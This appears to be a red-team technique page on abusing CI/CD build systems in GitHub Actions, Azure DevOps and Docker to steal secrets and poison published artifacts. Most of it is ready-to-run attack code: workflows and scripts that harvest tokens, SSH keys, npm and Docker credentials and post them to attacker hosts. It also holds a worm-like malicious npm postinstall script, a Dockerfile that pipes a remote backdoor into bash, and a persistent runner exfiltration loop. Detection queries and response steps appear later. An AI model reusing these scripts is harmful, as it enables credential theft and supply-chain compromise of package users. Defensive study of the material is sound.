MCADDF

[SUPPLY-CHAIN-002]: Build System Access Abuse

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-002
MITRE ATT&CK v18.1 Compromise Software Dependencies and Development Tools (T1195.001)
Tactic Resource Development
Platforms Entra ID / DevOps (Azure DevOps, GitHub, GitLab CI)
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions GitHub Actions (all), Azure DevOps (all), GitLab CI (all), Jenkins (all)
Patched In N/A - requires architectural changes to build infrastructure
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS v1.4.0 – CD-1.1 Build pipelines must enforce separation of duties between code review and artifact release.
DISA STIG AC-3(7) – Separation of Duties Build infrastructure must prevent operators from both approving and executing deployments.
CISA SCuBA SCUBA-GH-A2-01 GitHub Actions runners must be isolated and restricted to approved operations.
NIST 800-53 SI-7(14) – Integrity Monitoring Build system must monitor and alert on unauthorized modifications to artifacts.
GDPR Art. 32 – Security of Processing Technical measures must protect the integrity of automated processing systems.
DORA Art. 16 – Operational Resilience Testing Financial entities must test CI/CD supply chain security controls regularly.
NIS2 Art. 21 – Basic Cyber Hygiene Critical infrastructure operators must secure build infrastructure against compromise.
ISO 27001 A.14.2.1 – Change Management Build systems must have change control and approval processes.
ISO 27005 Risk: Compromise of Build Infrastructure Assess risks of attackers poisoning artifacts through compromised build systems.

2. TECHNICAL PREREQUISITES

Supported Versions:


3. ENVIRONMENTAL RECONNAISSANCE

GitHub Actions Runner Reconnaissance

# Enumerate GitHub Actions runners in organization
gh api orgs/{org}/actions/runners --paginate | jq '.runners[] | {name, status, labels, runner_group_id}'

# Check runner labels (self-hosted runners expose OS and capabilities)
gh api repos/{owner}/{repo}/actions/runners --paginate | jq '.runners[] | select(.os == "self-hosted")'

# List workflow files that use self-hosted runners
gh api repos/{owner}/{repo}/contents/.github/workflows --paginate | jq '.[] | select(.name | endswith(".yml"))'

# Check recent workflow execution logs
gh run list --repo {owner}/{repo} --limit 10 --json 'databaseId,status,createdAt,conclusion' -q '.[] | "\(.databaseId) - \(.status) - \(.conclusion)"'

What to Look For:

Azure DevOps Build Agent Reconnaissance

# List all build agents in project
az pipelines agent list --organization "https://dev.azure.com/{org}" --project "{project}"

# Check self-hosted agent capabilities
az pipelines agent list --organization "https://dev.azure.com/{org}" --project "{project}" \
  --query "[?type == 'self-hosted'].{name: name, status: status, version: version, capabilities: userCapabilities}"

# Enumerate recent build jobs
az pipelines build list --organization "https://dev.azure.com/{org}" --project "{project}" \
  --top 20 --query "[].{id: id, status: status, queueTime: queueTime}"

What to Look For:

Linux/Container Runtime Reconnaissance

# Check Docker daemon configuration (if builds run in containers)
docker info | grep -E "Storage Driver|Registry|Security Options"

# List recent container images (look for suspicious base images)
docker images --format ":" | head -20

# Check container registries accessible from build environment
curl -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc/api/v1/secrets?namespace=default | jq '.items[] | select(.type == "Opaque")'

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Self-Hosted Runner Compromise (Direct Access)

Supported Versions: GitHub Actions (all), Azure DevOps (all), GitLab CI (all)

Step 1: Enumerate and Locate Vulnerable Self-Hosted Runner

Objective: Identify self-hosted runners that can be exploited via network access or compromised credentials.

Command (GitHub):

# List all self-hosted runners accessible to compromised account
gh api orgs/{org}/actions/runners --paginate | jq '.runners[] | select(.status == "idle" or .status == "offline") | {name, os, labels, ip_address}'

# Check runner group permissions (determine who can use the runner)
gh api orgs/{org}/actions/runner-groups --paginate | jq '.runner_groups[] | {name, visibility, selected_repositories_url}'

Expected Output:

{
  "name": "self-hosted-ubuntu-001",
  "os": "linux",
  "labels": [
    "self-hosted",
    "linux",
    "x64",
    "docker",
    "npm"
  ],
  "ip_address": "192.168.1.100"
}

What This Means:

Command (Azure DevOps):

# List all personal access tokens visible to current user (service account enumeration)
az devops service-endpoint list --organization "https://dev.azure.com/{org}" --project "{project}" \
  --query "[?type == 'self-hosted-agent'].authentication"

# Check agent pool permissions
az pipelines agent-pool list --organization "https://dev.azure.com/{org}" \
  --query "[].{name: name, size: size, isHosted: isHosted}"

OpSec & Evasion:

Step 2: Gain Access to Build Environment (Phishing or Token Theft)

Objective: Obtain valid workflow dispatch token or build agent credentials.

Command (Token Theft from CI/CD Logs):

# If attacker can read build logs, extract embedded secrets
$logContent = Get-Content "C:\agents\{agent-name}\logs\job_xyz.log" -Raw
$secrets = $logContent | Select-String -Pattern 'TOKEN|PASSWORD|SECRET|KEY' -AllMatches

# Exfiltrate secrets
$secrets | Out-File "C:\temp\exfil.txt"
curl -d @C:\temp\exfil.txt https://attacker.com/webhook

Command (Workflow Dispatch Token Abuse):

# If attacker has PAT with `workflow` scope, trigger build manually
gh workflow run {workflow-name} --repo {owner}/{repo} \
  --ref main \
  --inputs '{"secret_to_exfil": "true"}'

Expected Output (Success):

✓ Triggered {workflow-name} (ID: 123456789)

OpSec & Evasion:

Step 3: Execute Malicious Build Step and Exfiltrate Secrets

Objective: Inject arbitrary commands into running build job to steal credentials and secrets.

Command (GitHub Actions - Via Pull Request):

# Malicious PR with workflow that exfiltrates secrets
name: Exfiltrate Build Secrets
on: [workflow_dispatch, pull_request_target]

jobs:
  exfil:
    runs-on: ubuntu-latest  # Or self-hosted runner
    steps:
      - name: Checkout code
        uses: actions/checkout@v3
        with:
          ref: $
          
      - name: Steal Secrets
        run: |
          # Dump all environment variables (includes GitHub tokens, secrets)
          env > /tmp/env_dump.txt
          
          # Harvest credentials from common locations
          cat ~/.git-credentials ~/.netrc ~/.ssh/id_* 2>/dev/null | base64 -w0 > /tmp/creds.b64
          
          # Extract secrets from docker config
          cat ~/.docker/config.json 2>/dev/null | base64 -w0 >> /tmp/creds.b64
          
          # Extract npm tokens
          cat ~/.npmrc 2>/dev/null | base64 -w0 >> /tmp/creds.b64
          
          # Exfiltrate via webhook
          curl -X POST \
            -d @/tmp/env_dump.txt \
            -H "Content-Type: text/plain" \
            https://attacker-webhook.com/github-exfil
            
          # Exfiltrate base64-encoded credentials
          curl -X POST \
            -d "creds=$(cat /tmp/creds.b64)" \
            https://attacker-webhook.com/creds-exfil

Expected Output (Exfiltrated Secrets):

GITHUB_TOKEN=ghu_abcdefghijklmnop
NPM_TOKEN=npm_abcdefghijklmnop
DOCKER_PASSWORD=mypassword123
AWS_ACCESS_KEY_ID=AKIA...
KUBECONFIG=/tmp/kubeconfig.yaml

Command (Azure Pipelines - Via Script Step):

trigger:
  - main

pool:
  vmImage: 'ubuntu-latest'

steps:
- script: |
    # Dump all environment variables
    env | grep -E "TOKEN|SECRET|KEY|PASSWORD" | tee /tmp/secrets.txt
    
    # Exfiltrate via curl
    curl -X POST -d @/tmp/secrets.txt $(WEBHOOK_URL)
    
    # Download and execute attacker payload
    wget https://attacker.com/payload.sh -O /tmp/payload.sh
    chmod +x /tmp/payload.sh
    /tmp/payload.sh
    
  displayName: 'Build Step'
  env:
    WEBHOOK_URL: $(EXFIL_WEBHOOK)

What This Means:

OpSec & Evasion:

Step 4: Poison Artifact Repository and Distribute

Objective: Use exfiltrated credentials to publish malicious artifacts to npm, Docker Hub, or other package registries.

Command (npm Package Poisoning):

# Using stolen npm token, publish malicious package version
npm login --registry https://registry.npmjs.org --auth-token ${STOLEN_NPM_TOKEN}

# Modify package.json to add postinstall script
cat >> package.json << 'EOF'
{
  "name": "popular-package",
  "version": "1.2.4-patch",
  "postinstall": "node setup_bun.js"
}
EOF

# Create malicious postinstall script
cat > setup_bun.js << 'EOF'
const https = require('https');
const os = require('os');

// Exfiltrate environment to attacker server
const payload = JSON.stringify({
  env: process.env,
  user: os.userInfo(),
  cwd: process.cwd()
});

https.request({
  hostname: 'attacker.com',
  path: '/install',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, (res) => {}).end(payload);

// Propagate malware: modify other packages
const fs = require('fs');
const path = require('path');
const nodeModules = path.join(process.cwd(), 'node_modules');
if (fs.existsSync(nodeModules)) {
  fs.readdirSync(nodeModules).forEach(pkg => {
    const pkgJsonPath = path.join(nodeModules, pkg, 'package.json');
    if (fs.existsSync(pkgJsonPath)) {
      // Inject malicious postinstall into all dependencies
      const pkgJson = JSON.parse(fs.readFileSync(pkgJsonPath, 'utf8'));
      pkgJson.postinstall = 'node -e "eval(Buffer.from(process.env.MALWARE_PAYLOAD, \"base64\").toString())"';
      fs.writeFileSync(pkgJsonPath, JSON.stringify(pkgJson));
    }
  });
}
EOF

# Publish poisoned package
npm publish --registry https://registry.npmjs.org

Expected Output (Success):

npm notice Publishing package to registry
+ popular-package@1.2.4-patch

What This Means:

Command (Docker Image Poisoning):

# Using stolen Docker registry credentials
docker login -u ${STOLEN_USERNAME} -p ${STOLEN_PASSWORD} docker.io

# Pull legitimate base image
docker pull docker.io/library/node:18-alpine

# Create malicious Dockerfile
cat > Dockerfile << 'EOF'
FROM docker.io/library/node:18-alpine
RUN apk add --no-cache curl bash && \
    curl https://attacker.com/backdoor.sh | bash && \
    rm -f /var/log/apk.log /var/cache/apk/* /root/.bash_history
WORKDIR /app
COPY . .
RUN npm install && npm run build
CMD ["npm", "start"]
EOF

# Build and tag
docker build -t docker.io/vulnerable-app:1.2.0 .

# Push to registry (overwrites existing tag)
docker push docker.io/vulnerable-app:1.2.0

OpSec & Evasion:


METHOD 2: GitHub Actions Secrets Exfiltration (Zero-Click)

Supported Versions: GitHub Actions (all versions)

Step 1: Create Pull Request with Malicious Workflow

Objective: Inject malicious GitHub Actions workflow that executes with repository secrets.

Command:

# Create feature branch with malicious workflow
git checkout -b exploit/exfil-secrets

# Create malicious workflow that accesses pull_request_target event
mkdir -p .github/workflows
cat > .github/workflows/steal-secrets.yml << 'EOF'
name: Collect Build Data
on: 
  pull_request_target:  # Runs on base branch with full access to secrets
    types: [opened, synchronize]

jobs:
  analyze:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: $  # Checkout main, not PR head
          
      - name: Analyze dependency tree
        run: |
          # Legitimate-looking step that exfiltrates secrets
          npm install --dry-run 2>&1 | head -100
          
      - name: Upload analysis
        run: |
          # Exfiltrate all secrets to webhook
          curl -X POST https://attacker.com/api/webhook \
            -H "Content-Type: application/json" \
            -d "{
              \"github_token\": \"$\",
              \"npm_token\": \"$\",
              \"docker_password\": \"$\",
              \"environment\": \"$(env | base64 -w0)\"
            }"
EOF

# Commit and push
git add .github/workflows/steal-secrets.yml
git commit -m "Add dependency analysis workflow"
git push origin exploit/exfil-secrets

# Create PR (can be done via API or web UI)
gh pr create --base main --head exploit/exfil-secrets \
  --title "Improve build analysis" \
  --body "Adds automated dependency tree analysis to catch supply chain issues early."

Expected Output:

Workflow triggered on pull_request_target event
Exfiltrated GITHUB_TOKEN=ghu_xxxxxxxxxxxxxxxx
Exfiltrated NPM_TOKEN=npm_xxxxxxxxxxxxxxxx

What This Means:

OpSec & Evasion:

Step 2: Wait for Workflow Approval and Execution

Objective: If PR requires approval, wait for maintainer to approve (or use social engineering).

Command:

# Monitor PR approval status
gh pr view {pr-number} --repo {owner}/{repo} --json reviewDecision,statusCheckRollup

# Alternatively, if attacker can dismiss reviews or has admin access:
gh pr review {pr-number} --approve --repo {owner}/{repo}

# Trigger manual workflow execution (if PR requires approval gate)
gh workflow run steal-secrets.yml --repo {owner}/{repo} \
  -f pr_number="{pr-number}"

METHOD 3: Self-Hosted Runner Credential Injection

Supported Versions: GitHub Actions (self-hosted), Azure DevOps (self-hosted agents)

Step 1: Compromise Runner Configuration Files

Objective: Modify runner startup scripts to inject malicious credential exfiltration hooks.

Command (GitHub Actions Runner on Linux):

# Access runner directory (typically /home/runner-user/actions-runner)
cd /home/runner-user/actions-runner

# Locate runner configuration
cat .env
# OUTPUT:
# RUNNER_ALLOWUSERSWITCHINGACCOUNTS=false
# GITHUB_URL=https://github.com
# GITHUB_RUNNER_REGISTRATION_TOKEN=xxxxxxxxxxxx

# Modify runner startup script to exfiltrate tokens
cat > run_exfil.sh << 'EOF'
#!/bin/bash
# Original runner startup
/home/runner-user/actions-runner/run.sh &
RUNNER_PID=$!

# Inject credential exfiltration loop
while true; do
  sleep 300  # Every 5 minutes
  
  # Extract runner token from process environment
  RUNNER_TOKEN=$(cat /proc/$RUNNER_PID/environ | tr '\0' '\n' | grep RUNNER_TOKEN)
  
  # Exfiltrate via webhook
  curl -X POST https://attacker.com/token \
    -d "runner_token=${RUNNER_TOKEN}"
    
  # Also grab job-specific tokens from build directory
  find /home/runner-user -name "job_*.json" -exec cat {} \; | \
    curl -d @- https://attacker.com/job-tokens
done
EOF

chmod +x run_exfil.sh

# Modify runner config to use malicious startup script
# Replace runner startup in systemd or supervisor config
sudo systemctl edit actions.runner.myorg-myrepo.runner
# [Service]
# ExecStart=/home/runner-user/actions-runner/run_exfil.sh  # <-- injected

Expected Output (Continuous Credential Exfiltration):

Exfiltrated RUNNER_TOKEN=...
Exfiltrated GITHUB_TOKEN (from job) = ghu_...

OpSec & Evasion:


5. SPLUNK DETECTION RULES

Rule 1: Detect Workflow Dispatch to Self-Hosted Runner with Secret Exfiltration

Rule Configuration:

SPL Query:

index=github_enterprise 
  sourcetype="github:actions:workflow"
  (
    step_name IN ("*secret*", "*credential*", "*exfil*", "*dump*", "*token*", "*password*")
    OR script CONTAINS ("env |", "printenv", "declare -p", "export", "base64", "curl", "wget", "-d @")
  )
  AND runner_type=self-hosted
| stats count by workflow_name, step_name, runner_type, timestamp
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to Alert when number of events is greater than 0
  6. Configure Action → Send email to SOC team

6. MICROSOFT SENTINEL DETECTION

Query 1: Detect Suspicious Build Job Execution (Azure DevOps)

Rule Configuration:

KQL Query:

AzureActivity
| where TimeGenerated > ago(5m)
| where OperationNameValue in (
    'Microsoft.VisualStudio/pipelines/write',
    'Microsoft.VisualStudio/build/queue'
  )
| extend Properties = parse_json(tostring(Properties))
| extend JobName = tostring(Properties.jobName), JobScript = tostring(Properties.jobScript)
| where JobName has_any ('exfil', 'secret', 'cred', 'token', 'dump', 'steal') or
        JobScript has_any ('curl -d', 'wget --post', '| base64', 'env |')
| project TimeGenerated, Caller, OperationNameValue, JobName, JobScript
| summarize SuspiciousJobs = count() by Caller
| where SuspiciousJobs > 0

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious Build Job with Credential Exfiltration
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Immediately revoke all build-related secrets
    gh secret delete NPM_TOKEN --repo {owner}/{repo}
    gh secret delete DOCKER_PASSWORD --repo {owner}/{repo}
    gh secret delete AWS_CREDENTIALS --repo {owner}/{repo}
        
    # Disable self-hosted runners
    gh api repos/{owner}/{repo}/actions/runners/{runner-id} -X DELETE
        
    # Revoke build agent credentials
    az pipelines agent delete --organization "https://dev.azure.com/{org}" --id {agent-id} --yes
    
  2. Collect Evidence:
    # Export all workflow execution logs
    gh run list --repo {owner}/{repo} --json databaseId | jq '.[] | .databaseId' | \
      while read run_id; do
        gh run download $run_id --repo {owner}/{repo} -D /tmp/evidence
      done
        
    # Export GitHub audit logs for the affected timeframe
    curl -H "Authorization: token $GITHUB_TOKEN" \
      "https://api.github.com/orgs/{org}/audit-log?include=all&phrase=created:>2026-01-01" > \
      /tmp/audit-log-full.json
    
  3. Remediate:
    # Revert malicious workflow changes
    git revert <malicious-commit-hash>
    git push origin main
        
    # Delete poisoned artifact versions from registry
    npm unpublish my-package@1.2.4 --force  # npm
    docker image rm myregistry.azurecr.io/myapp:1.2.4  # Docker
        
    # Rotate all credentials with fresh values
    # (Generate new tokens in GitHub/Azure DevOps/npm/Docker)
        
    # Quarantine poisoned artifacts
    # Download and archive all versions published during compromise window
    # Scan with antivirus and YARA rules for malware signatures
    

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-002] ROADtools enumeration of Azure DevOps service connections and pipelines
2 Initial Access [IA-PHISH-001] Device code phishing to compromise developer credentials
3 Credential Access [CA-OAUTH-001] OAuth token theft or consent abuse to obtain workflow dispatch permissions
4 Lateral Movement [SUPPLY-CHAIN-001] Pipeline Repository Compromise - inject malicious workflow into repo
5 Current Step [SUPPLY-CHAIN-002] Build System Access Abuse - exfiltrate secrets, poison artifacts
6 Impact [SUPPLY-CHAIN-003] Artifact Repository Poisoning - distribute trojanzied packages to end users
7 Persistence [PERSIST-002] Create backdoored OAuth app or service principal for future access

10. REAL-WORLD EXAMPLES

Example 1: GhostAction Campaign (September 2025)

Example 2: s1ngularity Attack - Nx Build System (August 2025)

Example 3: APT41 - CI/CD Build System Compromise (2020-2021)